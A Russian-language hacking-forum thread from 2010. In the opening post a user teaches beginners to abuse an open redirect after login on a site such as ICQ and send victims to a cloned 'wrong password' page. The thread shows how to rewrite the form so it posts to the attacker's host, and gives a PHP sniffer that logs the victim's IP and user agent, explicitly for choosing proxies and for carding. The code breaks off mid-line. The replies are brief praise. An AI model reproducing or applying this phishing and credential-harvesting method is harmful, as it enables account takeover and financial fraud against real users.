Re-Auth Fakeing - как, где и зачем.

Тема в разделе "ВОПРОСЫ ОТ НОВИЧКОВ", создана пользователем Aels, 4 янв 2010.

  1. Aels

    Aels Member

    Сообщения:
    207
    Симпатии:
    0
    Re-Auth Faking - как, где и зачем.

    ========
    ЛИРИКА
    ========

    1) Тема стара как мир (с тех пор как я ее начал пользовать уже прошло года 3, и актуальности она не потеряла)
    2) Ни где в сети я не нашел упоминания такого метода. Re-Auth Faking - название от балды, просто не понятно как это охарактеризовать.
    3) Мы будем фейкать страницу авторизации (но не простую, а золотую)
    4) Нам понадобится:
    - голова+руки
    - бесплатный хостинг с пхп (на скуль и рекламу плевать)
    - блокнот с синтаксической подсветкой ( например Notepad++, сойдет и Ctrl+U Оперы)
    - [опционально] понимание html.

    ========
    ОПИСАНИЕ
    ========

    Когда юзер приходит на сайт, потом ползет логиниться ( ну чтобы коммент отписать например), то очень часто сайт посылает его по ссылке вида
    где httр://site.com/showcontent.php?id=1234
    - ссылка, на которую будет переадресован юзер после успешной авторизации. Это едва ли не общепринятая практика - после авторизации возвращать юзера на ту страницу, с которой пришел.
    За примером далеко ходить не нужно (не даю ссылки на сайты банков, но их больше чем вы думаете, только поищите):
    Это страница авторизации на icq.com ( тут пробивает ностальгия, каждый вспомнил свой первый шестизнак^^
    попадаем мы на эту ссылку просто - идем на icq.com, жмем там на любой линк, а оттуда на кнопку "Login",
    Выделенное фиолетовым - линк, на который нас перенесет после успешной авторизации.
    Угу, правильно подумали.
    Нам ведь ничего не мешает вписать туда свой адрес?
    *нет, на самом может мешать совесть (но ведь она не против?) или админы сайта, которые этот самый адрес фильтруют на принадлежность к их сайту (это главная помеха, но в данном случае ее нет))
    идем на
    авторизуемся, и... улетаем на гогл =ъ

    ========
    К ДЕЛУ
    ========​



    Хватит прыгать от радости, рановато еще.
    Итак.
    Предположим, жертва пришла по нашему линку (как ее заставить - разберем ниже), что дальше:
    - она авторизуется
    - она улетает на наш фейк.
    Что она должна увидеть? - вариантов вагон и маленькая тележка (плясать от вашей фантазии), но самый гуманный - сказать что логинпароль не верные, и попросить написать их снова.
    Стало быть нам нужна страничка с ошибкой - нет проблем - вписываем в форму неверный уинпасс и получаем страничку с ошибкой.

    ==[ Делаем фейк ]==

    Клацаем по ней правой -> посмотреть исходный код.
    Поиск -> "action=" . Это адрес, на который отправятся данные формы "login_frm".
    Идем на бесплатный хостинг, регаемся, получаем свой адрес, и списываем его вместо https://www.icq.com/karma/login.php.
    долно получиться чтото вроде:
    action="http://site.host.ru/login.php",
    где login.php - имя вашего снифера, напишем его чуть позже.
    Смотрим в конец строки, видим onsubmit="return check();" - вырезаем его нафиг, зачем нам всякие проверки, мы же доверяем юзеру?)
    Далее видим:
    Код:
    <div class="d1-3" style="color: #FF0000">Номер ICQ и/или пароль неправильные. Введите данные снова</div>
    <div class="d1-4">
    <input type="hidden" name="dest" value="http://freebug.ru">
    <input type="hidden" name="service" value="1">
    <input type="hidden" name="icq_ln" value="A4331CD015D712B34FAD55CCF522DF3A373E8170DAEF20A5BCBA454C6D2AD966">

    <div class="d1-4-1">Номер ICQ или E-mail</div>
    <div class="d1-4-2">Пароль ICQ</div>
    <div class="d1-4-3"><input type="text" name="uin_email" value="" class="d1-4-input" onkeydown="uin_field_change()"></div>
    <div class="d1-4-4"><input type="password" name="password" class="d1-4-input" maxlength="9"></div>
    <div class="d1-4-5">
    <div>
    <div class="but-3" name="next" title="Войти" onclick="submit_login();">
    <img src="img/icon_l.gif" width="20" height="29" alt="">
    </div>
    <div class="but-1" name="next_btn" id="next_btn" title="Войти" onclick="submit_login();">
    <div>Войти</div>
    </div>
    <div class="but-2" name="next" title="Войти">
    <input type="image" src="img/corner_r.gif" width="6" height="29" alt="">
    </div>
    </div>

    </div>
    <div class="d1-4-6">
    <input type="checkbox" class="d1-4-chk" id="rem" name="rem" value="1"><span class="d1-4-rem" onclick="remember_me_check()">&nbsp;Запомнить меня</span>
    &nbsp;<img src="img/info.gif" title="Справка" class="d1-4-img" alt="" border="0" width="14" height="14" onclick="window.open(http://www.icq.com/legal/legal_popu...oolbar=no,menubar=no,location=no,resizable=no)">
    </div>
    </div>
    </form>
    Все что фиолетовое - смело стираем, это их асечный JS, он нам не нужен
    Зеленое - запомни, пригодится позже.
    Теперь ишем все адреса вида "/папка/файл.расш" - такие адреса называются относительными,
    с нашего хостинга они работать не будут, поэтому ручками делаем из них абсолютные, подставляя в перед ними адрес сайта аси.
    было:
    img/corner_r.gif
    стало:
    https://www.icq.com/karma/img/corner_r.gif
    все заменили? отлично, идем дальше.
    Сейвим нашу правленую страничку на винт, заливаем на хостинг с именем
    index.html,
    - это чтобы она загружалась при обращении в корень сайта.
    Морда готова. Теперь сам снифф.
    Вот примитивнейший пример:
    PHP:
    <?php
    $date
    =date("[ d/m/y H:i ]"); // формируем дату визита жертвы
    $fp=fopen("log.txt","a"); // открываем файл для записи
    fwrite($fp,"$date ".$_SERVER[REMOTE_ADDR]." [ ".$_SERVER[HTTP_USER_AGENT]." ] "); /* пишем дату,
    IP - по нему, через geo-ip сервисы будем искать соксы нужного "района",
    юзер-агент содержит браузерязыкОС - незаменимо для подстройки под систему холдера карты и тп. */

    fwrite(<span style="colo
  2. Aels

    Aels Member

    Сообщения:
    207
    Симпатии:
    0
    кстати, сейчас нашел такой баг на гогло-сайтах^^
  3. леха

    леха New Member

    Сообщения:
    16
    Симпатии:
    0
    интересно...
  4. Audi

    Audi Member

    Сообщения:
    67
    Симпатии:
    0
    Познавательно.

Поделиться этой страницей